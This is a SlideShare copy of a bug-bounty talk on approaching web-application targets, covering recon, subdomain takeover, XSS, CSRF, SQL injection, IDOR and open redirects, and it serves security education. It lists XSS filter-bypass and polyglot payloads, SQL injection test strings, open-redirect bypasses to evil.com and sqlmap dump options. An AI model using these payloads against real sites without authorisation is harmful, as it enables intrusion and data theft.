SlideShare a Scribd company logo
1 of 49
Hacking WebApps for
fun and profit : how to
approach a target?
Yassine ABOUKIR
What not to expect?
• This session is not about penetration testing.
• This session will not cover all web vulnerabilities.
• This session will not cover basic technical knowledge.
What to expect?
• An introduction to bug bounty industry
• How to start your journey in bug hunting.
• How to conduct web vulnerabilities assessment (Black-
box approach)
• Introduction to some essential hacking tools.
• How to bypass a few common vulnerabilities protection.
• How to write a kick-ass security report.
Presentation
• Security Analyst at HackerOne Inc.
• Author at InfoSec Magazine.
• Occasional bug bounty hunter (Listed in Microsoft,
Yahoo, Facebook, Google, Twitter etc Hall of fame) –
Ranked 11th on HackerOne.
• Student at ISCAE (MSc in Corporate Finance) -
Casablanca
• Double Degree at IESEG School Of Management (MSc
in Management of Information Systems) - Lille, France
Quick Questions
• How many of you have basic technical background
(HTTP, TCP/IP, Web technologies etc.)?
• How many of you know about OWASP TOP10?
• How many of you participated in a Bug Bounty Program?
Bug Bounty Industry
Facebook offers a minimum of $500 US and paid out over $4.3 million to
researchers around the globe.
Microsoft offers a minimum of $500 US and paid out over $500K
Perks of being a bug bounty
hunter
 Hacking legally.
 Have fun.
 Earn money.
 Sharpen your skills.
 Build your CV.
 Expand your network.
 Make the world more secure.
Bug Bounty Platforms
Vulnerabilities Assessment VS
Pentesting
• Vulnerability assessment is more about identifying and
prioritizing security vulnerabilities.
• Penetration testing (Pentesting) is designed to
achieve a specific, attacker-simulated goal (Access
private network, database etc.)
Hacking Methodology
Planning
It is extremely important to read the program brief
thouroughly before starting.
• Domains and IPs In-Scope.
• In-Scope Vulnerabilities.
• Out Of Scope Vulnerabilities.
• Other Useful Information.
Eg: Twitter bug bounty program
(https://hackerone.com/twitter)
Burp Suite is an integrated platform for performing
security testing of web applications. Its various tools
work seamlessly together to support the entire.
Functionalities:
• Web Proxy
• Web Crawler
• Reapeter
• Intruder
• Web Scanner
• Comparer
• Extender
Reconnaissance
• Understand web application logic.
• Map the used stack (Tool: Wappalyzer Addon)
• Spidering the application (Tool: Burpsuite)
• Check Robots.txt file.
• Google Hacking.
• Bruteforcing Directories (Tool: DirBuster)
DNS Recon
Check the server’s DNS records using DNSRecon. Interesting
things to look for :
• DNS Zone transfer (Nslookup –query=axfr example.com)
• SPF records (Spoofing Demo : https://emkei.cz/)
• MX records (Uber $10,000 US bug to Uranium238)
• DNSSEC configuration
• Etc.
Port Scanning
Use Nmap to look for open ports in a web server and
corresponding services.
• 25 for SMTP
• 22 for SSH
• 23 Telnet
• 21 for FTP
• 115 for SFTP
• 110 for POPs
• 443 HTTPS
• 80 HTTP
Sudo apt-get install nmap
SSL/TLS
Web applications use TLS to secure all communications between their servers
and web browsers.
 Heartbleed
 Drown attack
 Poodle attack
 Use of weak ciphers (RC4)
 Expired TLS certificate
 Insecure Client-Initiated Renegotiation (Should be disabled)
 Etc.
SSL/TLS
Demo: https://www.ssllabs.com/ssltest/analyze.html?d=twitter.com
Subdomains Bruteforcing
 Check for subdomains with private instances.
stage.example.com,
dev.example.Com,
testing.example.com,
vpn.example.com
 Check for potential subdomains takeover.
Support.example.com,
help.example.com,
forums.example.com
Tool : Sublist3r
Subdomains Bruteforcing
Subdomains Bruteforcing
W0rm$ host blog.redbooth.com
Non-authoritative answer:
og.redbooth.com is an alias for teambox-redirect-to-new-blog.herokuapp.com.
Demonstration
Subdomain takeover
(http://help.yassineaboukir.com)
Github Leakage
Hard coding credentials and pushing the code to GitHub is a
common mistake.
Look for :
 AWS Keys (AWS_SECRET_ACCESS_KEY)
 Passwords
 Slack tokens (xoxs-token)
 Private API Keys
 SSH Keys (id_rsa, ---BEGIN RSA PRIVATE KEY---)
 Etc.
Cross-Site Scripting (XSS)
XSS attacks occur when an attacker uses a web application to
send malicious code, generally in the form of a browser side
script, to a different end user.
Types:
 Reflected XSS
 Stored XSS
 DOM-Based XSS
 Cookie-based XSS
 Flash-based XSS
Cross-Site Scripting (XSS)
Exploitation :
• Execution of malicious Javascript
• Execute Client-Side Exploits
• Bypass CSRF protection
• Temporary defacements and other nuisances
Cross-Site Scripting (XSS)
• Reflected XSS Demonstration.
• Stored XSS Demonstration.
• Exploitation of Stored XSS : Hijacking Session Cookie.
Cross-Site Scripting (XSS)
Testing for XSS:
• '';!--"<img>=&{()}
• <img/src=x onerror=alert(0)>
• <svg/onload=alert(0)>
• <SCRIPT/SRC=//⒕₨?
Cross-Site Scripting (XSS)
Techniques to bypassing XSS filters:
• Use polyglot payload :
<input type="text" value=" jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--
!>x3csVg/<sVg/oNloAd=alert()//>x3e "></input>
• XSS in Link inputs:
javascript://www.google.com/%0Aalert(1337);//http://
• Bypasses list :
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
• Polyglot payloads :
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
Cross-Site Request Forgery
Cross-Site Request Forgery
Cross-Site Request Forgery
Cross-Site Request Forgery
Cross-Site Request Forgery
Protection bypass techniques :
• Remove token parameter.
• Leave token value blank.
• Alter token value but keep same length.
• Try another user token.
• Check if token is regenerated upon logout/login.
• Analyze token complexity.
Clickjacking Attack
Clickjacking, also known as a "UI redress attack", is when an
attacker uses multiple transparent or opaque layers to trick a
user into clicking on a button or link on another page when
they were intending to click on the the top level page.
Clickjacking Attack
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM https://example.com/
Clickjacking Attack
SQL Injection
A SQL injection attack consists of insertion or "injection" of a SQL query via the
input data from the client to the application. A successful SQL injection exploit
can read sensitive data from the database, modify database data - OWASP
SQL Injection
Types of SQLi
 Error-based SQLi
 Blind SQLi
 Boolean-based (content-based) Blind SQLi
 Time-based SQLi
SQL Injection
Damn Vulnerable Web Application
www.dvwa.co.uk
Demonstration
-u : Specify the vulnerable target
-d : Vulnerable parameter (Injection point)
--Cookie: Cookies
--data : Parameters in case of a POST request
--dbs : List all databases
--tables : List all tables or tables of a specific database
--columns : List all columns, or columns of a specific table in a DB.
--dump : Extract information from the database.
SQL Injection
Testing for SQLi :
 Single Quote : ‘
 Boolean expression :
1' or '1' = '1
' or 1=1 /*
 Time expressions :
1' AND (SELECT * FROM (SELECT(SLEEP(5)))x) AND '1'='1
‘ and sleep(10)/*
BENCHMARK(10000000,SHA1(1))
';waitfor delay '0:0:10'--
Insecure Direct Object References
Insecure Direct Object References occur when an
application provides direct access to objects based on
user-supplied input. As a result of this vulnerability
attackers can bypass authorization and access resources
in the system directly, for example database records or
files.
(User A)
https://www.mybank.com/balance.php?account_id=123
(User B)
https://www.mybank.com/balance.php?account_id=124
Insecure Direct Object References
POST Request:
https://hackerone.com/reports/136114
Open Redirects
Unvalidated redirects and forwards are possible when a
web application accepts untrusted input that could cause
the web application to redirect the request to a URL
contained within untrusted input.
https://mail.google.com/?redirect=http://mail.gooogle.com/
Open Redirects
Bypass methods:
• http://www.example.com/login?redirect=//evil.Com
• http://www.example.com/login?redirect=evil.Com
• http://www.example.com/login?redirect=@evil.Com
• http://www.example.com/login?redirect=//evil.Com
• http://www.example.com/login?redirect=http://evil.com
• http://www.example.com/login?redirect=http:google.com
• http://www.example.com/login?redirect=http:///@evil.com//
Broken Authentication and Session
Management
• Insecure login forms (Use of GET method for example)
• Login form prone to bruteforcing (Lack of captcha, account lock-out, rate-
limit)
• Session Cookie not invalidated upon Logout/Password Change or Reset.
• Improper Browser Caching (Autocomplete ON, Lack of caching directives
in HTTP requests)
• Valid Accounts Enumeration (Invalid username: e-mail address is not valid
or the specified user was not found.)
• Session Fixation (PHPSESSID=5a3ecbee2d4e29eacf783d142f9ebf95)
• Weak session complexity
Report Redaction
• Executive Summary
• Vulnerability Description
• Affected URL/Parameters
• Risk assessment
• Steps Of Reproduction
• Proof Of Concept
• Recommended fix
• References
Resources
Useful links:
• http://hackerone.com/hacktivity
• https://github.com/ngalongc/bug-bounty-reference/blob/master/README.md
Let’s stay in touch
E-mail : Hello@yassineaboukir.com
Twitter : @Yassineaboukir
LinkedIn : /in/yaboukir
Blog : http://www.yassineaboukir.com/blog/

More Related Content

What's hot

Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
Marco Morana
 

What's hot (20)

API Security Fundamentals
API Security FundamentalsAPI Security Fundamentals
API Security Fundamentals
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
 
Ceh v5 module 20 buffer overflow
Ceh v5 module 20 buffer overflowCeh v5 module 20 buffer overflow
Ceh v5 module 20 buffer overflow
 
Bug Bounty for - Beginners
Bug Bounty for - BeginnersBug Bounty for - Beginners
Bug Bounty for - Beginners
 
Logical Attacks(Vulnerability Research)
Logical Attacks(Vulnerability Research)Logical Attacks(Vulnerability Research)
Logical Attacks(Vulnerability Research)
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
API Security Best Practices & Guidelines
API Security Best Practices & GuidelinesAPI Security Best Practices & Guidelines
API Security Best Practices & Guidelines
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
Saying Hello to Bug Bounty
Saying Hello to Bug BountySaying Hello to Bug Bounty
Saying Hello to Bug Bounty
 
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Network Security Terminologies
Network Security TerminologiesNetwork Security Terminologies
Network Security Terminologies
 
DevOps and Application Security
DevOps and Application SecurityDevOps and Application Security
DevOps and Application Security
 
Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17Bug bounty null_owasp_2k17
Bug bounty null_owasp_2k17
 
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigLive Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
 
(Open Sourced) Cyber Scavenger Hunt - Gamified Security Awareness, even on a ...
(Open Sourced) Cyber Scavenger Hunt - Gamified Security Awareness, even on a ...(Open Sourced) Cyber Scavenger Hunt - Gamified Security Awareness, even on a ...
(Open Sourced) Cyber Scavenger Hunt - Gamified Security Awareness, even on a ...
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
 
IDOR Know-How.pdf
IDOR Know-How.pdfIDOR Know-How.pdf
IDOR Know-How.pdf
 

Similar to Hacking WebApps for fun and profit : how to approach a target?

Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
OWASP Khartoum
 

Similar to Hacking WebApps for fun and profit : how to approach a target? (20)

Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Application Context and Discovering XSS without
Application Context and Discovering XSS without Application Context and Discovering XSS without
Application Context and Discovering XSS without
 
Altitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeAltitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edge
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
RIoT (Raiding Internet of Things) by Jacob Holcomb
RIoT  (Raiding Internet of Things)  by Jacob HolcombRIoT  (Raiding Internet of Things)  by Jacob Holcomb
RIoT (Raiding Internet of Things) by Jacob Holcomb
 
Romulus OWASP
Romulus OWASPRomulus OWASP
Romulus OWASP
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
How to measure your security response readiness?
How to measure your security response readiness?How to measure your security response readiness?
How to measure your security response readiness?
 
Web Security
Web SecurityWeb Security
Web Security
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
 
Thinking Outside the Sand[box]
Thinking Outside the Sand[box]Thinking Outside the Sand[box]
Thinking Outside the Sand[box]
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptx
 
Realities of Security in the Cloud
Realities of Security in the CloudRealities of Security in the Cloud
Realities of Security in the Cloud
 
Owasp web application security trends
Owasp web application security trendsOwasp web application security trends
Owasp web application security trends
 
[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar Ganiev[2.1] Web application Security Trends - Omar Ganiev
[2.1] Web application Security Trends - Omar Ganiev
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
www.webre24h.com - Ajax security
www.webre24h.com - Ajax securitywww.webre24h.com - Ajax security
www.webre24h.com - Ajax security
 

More from Yassine Aboukir

More from Yassine Aboukir (7)

Open Source CMS : How secure are they?
Open Source CMS : How secure are they?Open Source CMS : How secure are they?
Open Source CMS : How secure are they?
 
Bug bounty programs
Bug bounty programsBug bounty programs
Bug bounty programs
 
Entrepreneurship
EntrepreneurshipEntrepreneurship
Entrepreneurship
 
Le développement : actualité 2013
Le développement : actualité 2013Le développement : actualité 2013
Le développement : actualité 2013
 
Le gouvernement marocain
Le gouvernement marocainLe gouvernement marocain
Le gouvernement marocain
 
Analyse concurrentielle
Analyse concurrentielleAnalyse concurrentielle
Analyse concurrentielle
 
Présentation sur la grande surface MARJANE
Présentation sur la grande surface MARJANEPrésentation sur la grande surface MARJANE
Présentation sur la grande surface MARJANE
 

Recently uploaded

75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx
Asmae Rabhi
 
原版制作美国爱荷华大学毕业证(iowa毕业证书)学位证网上存档可查
原版制作美国爱荷华大学毕业证(iowa毕业证书)学位证网上存档可查原版制作美国爱荷华大学毕业证(iowa毕业证书)学位证网上存档可查
原版制作美国爱荷华大学毕业证(iowa毕业证书)学位证网上存档可查
ydyuyu
 
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
ayvbos
 
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
ydyuyu
 
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfpdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
JOHNBEBONYAP1
 
PowerDirector Explination Process...pptx
PowerDirector Explination Process...pptxPowerDirector Explination Process...pptx
PowerDirector Explination Process...pptx
galaxypingy
 
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
gajnagarg
 
Indian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
Indian Escort in Abu DHabi 0508644382 Abu Dhabi EscortsIndian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
Indian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
Monica Sydney
 

Recently uploaded (20)

best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
 
75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx
 
Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.
 
Nagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime Nagercoil
Nagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime NagercoilNagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime Nagercoil
Nagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime Nagercoil
 
APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53
 
Power point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria IuzzolinoPower point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria Iuzzolino
 
原版制作美国爱荷华大学毕业证(iowa毕业证书)学位证网上存档可查
原版制作美国爱荷华大学毕业证(iowa毕业证书)学位证网上存档可查原版制作美国爱荷华大学毕业证(iowa毕业证书)学位证网上存档可查
原版制作美国爱荷华大学毕业证(iowa毕业证书)学位证网上存档可查
 
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
 
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
 
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfpdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
 
PowerDirector Explination Process...pptx
PowerDirector Explination Process...pptxPowerDirector Explination Process...pptx
PowerDirector Explination Process...pptx
 
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
 
"Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency""Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency"
 
20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdf20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdf
 
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
 
Indian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
Indian Escort in Abu DHabi 0508644382 Abu Dhabi EscortsIndian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
Indian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
 
Real Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirtReal Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirt
 
Vip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac Room
Vip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac RoomVip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac Room
Vip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac Room
 
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
 

Hacking WebApps for fun and profit : how to approach a target?

  • 1. Hacking WebApps for fun and profit : how to approach a target? Yassine ABOUKIR
  • 2. What not to expect? • This session is not about penetration testing. • This session will not cover all web vulnerabilities. • This session will not cover basic technical knowledge.
  • 3. What to expect? • An introduction to bug bounty industry • How to start your journey in bug hunting. • How to conduct web vulnerabilities assessment (Black- box approach) • Introduction to some essential hacking tools. • How to bypass a few common vulnerabilities protection. • How to write a kick-ass security report.
  • 4. Presentation • Security Analyst at HackerOne Inc. • Author at InfoSec Magazine. • Occasional bug bounty hunter (Listed in Microsoft, Yahoo, Facebook, Google, Twitter etc Hall of fame) – Ranked 11th on HackerOne. • Student at ISCAE (MSc in Corporate Finance) - Casablanca • Double Degree at IESEG School Of Management (MSc in Management of Information Systems) - Lille, France
  • 5. Quick Questions • How many of you have basic technical background (HTTP, TCP/IP, Web technologies etc.)? • How many of you know about OWASP TOP10? • How many of you participated in a Bug Bounty Program?
  • 6. Bug Bounty Industry Facebook offers a minimum of $500 US and paid out over $4.3 million to researchers around the globe. Microsoft offers a minimum of $500 US and paid out over $500K
  • 7. Perks of being a bug bounty hunter  Hacking legally.  Have fun.  Earn money.  Sharpen your skills.  Build your CV.  Expand your network.  Make the world more secure.
  • 9. Vulnerabilities Assessment VS Pentesting • Vulnerability assessment is more about identifying and prioritizing security vulnerabilities. • Penetration testing (Pentesting) is designed to achieve a specific, attacker-simulated goal (Access private network, database etc.)
  • 11. Planning It is extremely important to read the program brief thouroughly before starting. • Domains and IPs In-Scope. • In-Scope Vulnerabilities. • Out Of Scope Vulnerabilities. • Other Useful Information. Eg: Twitter bug bounty program (https://hackerone.com/twitter)
  • 12. Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire. Functionalities: • Web Proxy • Web Crawler • Reapeter • Intruder • Web Scanner • Comparer • Extender
  • 13. Reconnaissance • Understand web application logic. • Map the used stack (Tool: Wappalyzer Addon) • Spidering the application (Tool: Burpsuite) • Check Robots.txt file. • Google Hacking. • Bruteforcing Directories (Tool: DirBuster)
  • 14. DNS Recon Check the server’s DNS records using DNSRecon. Interesting things to look for : • DNS Zone transfer (Nslookup –query=axfr example.com) • SPF records (Spoofing Demo : https://emkei.cz/) • MX records (Uber $10,000 US bug to Uranium238) • DNSSEC configuration • Etc.
  • 15. Port Scanning Use Nmap to look for open ports in a web server and corresponding services. • 25 for SMTP • 22 for SSH • 23 Telnet • 21 for FTP • 115 for SFTP • 110 for POPs • 443 HTTPS • 80 HTTP Sudo apt-get install nmap
  • 16. SSL/TLS Web applications use TLS to secure all communications between their servers and web browsers.  Heartbleed  Drown attack  Poodle attack  Use of weak ciphers (RC4)  Expired TLS certificate  Insecure Client-Initiated Renegotiation (Should be disabled)  Etc.
  • 18. Subdomains Bruteforcing  Check for subdomains with private instances. stage.example.com, dev.example.Com, testing.example.com, vpn.example.com  Check for potential subdomains takeover. Support.example.com, help.example.com, forums.example.com Tool : Sublist3r
  • 20. Subdomains Bruteforcing W0rm$ host blog.redbooth.com Non-authoritative answer: og.redbooth.com is an alias for teambox-redirect-to-new-blog.herokuapp.com.
  • 22. Github Leakage Hard coding credentials and pushing the code to GitHub is a common mistake. Look for :  AWS Keys (AWS_SECRET_ACCESS_KEY)  Passwords  Slack tokens (xoxs-token)  Private API Keys  SSH Keys (id_rsa, ---BEGIN RSA PRIVATE KEY---)  Etc.
  • 23.
  • 24. Cross-Site Scripting (XSS) XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Types:  Reflected XSS  Stored XSS  DOM-Based XSS  Cookie-based XSS  Flash-based XSS
  • 25. Cross-Site Scripting (XSS) Exploitation : • Execution of malicious Javascript • Execute Client-Side Exploits • Bypass CSRF protection • Temporary defacements and other nuisances
  • 26. Cross-Site Scripting (XSS) • Reflected XSS Demonstration. • Stored XSS Demonstration. • Exploitation of Stored XSS : Hijacking Session Cookie.
  • 27. Cross-Site Scripting (XSS) Testing for XSS: • '';!--"<img>=&{()} • <img/src=x onerror=alert(0)> • <svg/onload=alert(0)> • <SCRIPT/SRC=//⒕₨?
  • 28. Cross-Site Scripting (XSS) Techniques to bypassing XSS filters: • Use polyglot payload : <input type="text" value=" jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/-- !>x3csVg/<sVg/oNloAd=alert()//>x3e "></input> • XSS in Link inputs: javascript://www.google.com/%0Aalert(1337);//http:// • Bypasses list : https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet • Polyglot payloads : https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
  • 33. Cross-Site Request Forgery Protection bypass techniques : • Remove token parameter. • Leave token value blank. • Alter token value but keep same length. • Try another user token. • Check if token is regenerated upon logout/login. • Analyze token complexity.
  • 34. Clickjacking Attack Clickjacking, also known as a "UI redress attack", is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top level page.
  • 35. Clickjacking Attack X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN X-Frame-Options: ALLOW-FROM https://example.com/
  • 37. SQL Injection A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data - OWASP
  • 38. SQL Injection Types of SQLi  Error-based SQLi  Blind SQLi  Boolean-based (content-based) Blind SQLi  Time-based SQLi
  • 39. SQL Injection Damn Vulnerable Web Application www.dvwa.co.uk Demonstration
  • 40. -u : Specify the vulnerable target -d : Vulnerable parameter (Injection point) --Cookie: Cookies --data : Parameters in case of a POST request --dbs : List all databases --tables : List all tables or tables of a specific database --columns : List all columns, or columns of a specific table in a DB. --dump : Extract information from the database.
  • 41. SQL Injection Testing for SQLi :  Single Quote : ‘  Boolean expression : 1' or '1' = '1 ' or 1=1 /*  Time expressions : 1' AND (SELECT * FROM (SELECT(SLEEP(5)))x) AND '1'='1 ‘ and sleep(10)/* BENCHMARK(10000000,SHA1(1)) ';waitfor delay '0:0:10'--
  • 42. Insecure Direct Object References Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files. (User A) https://www.mybank.com/balance.php?account_id=123 (User B) https://www.mybank.com/balance.php?account_id=124
  • 43. Insecure Direct Object References POST Request: https://hackerone.com/reports/136114
  • 44. Open Redirects Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. https://mail.google.com/?redirect=http://mail.gooogle.com/
  • 45. Open Redirects Bypass methods: • http://www.example.com/login?redirect=//evil.Com • http://www.example.com/login?redirect=evil.Com • http://www.example.com/login?redirect=@evil.Com • http://www.example.com/login?redirect=//evil.Com • http://www.example.com/login?redirect=http://evil.com • http://www.example.com/login?redirect=http:google.com • http://www.example.com/login?redirect=http:///@evil.com//
  • 46. Broken Authentication and Session Management • Insecure login forms (Use of GET method for example) • Login form prone to bruteforcing (Lack of captcha, account lock-out, rate- limit) • Session Cookie not invalidated upon Logout/Password Change or Reset. • Improper Browser Caching (Autocomplete ON, Lack of caching directives in HTTP requests) • Valid Accounts Enumeration (Invalid username: e-mail address is not valid or the specified user was not found.) • Session Fixation (PHPSESSID=5a3ecbee2d4e29eacf783d142f9ebf95) • Weak session complexity
  • 47. Report Redaction • Executive Summary • Vulnerability Description • Affected URL/Parameters • Risk assessment • Steps Of Reproduction • Proof Of Concept • Recommended fix • References
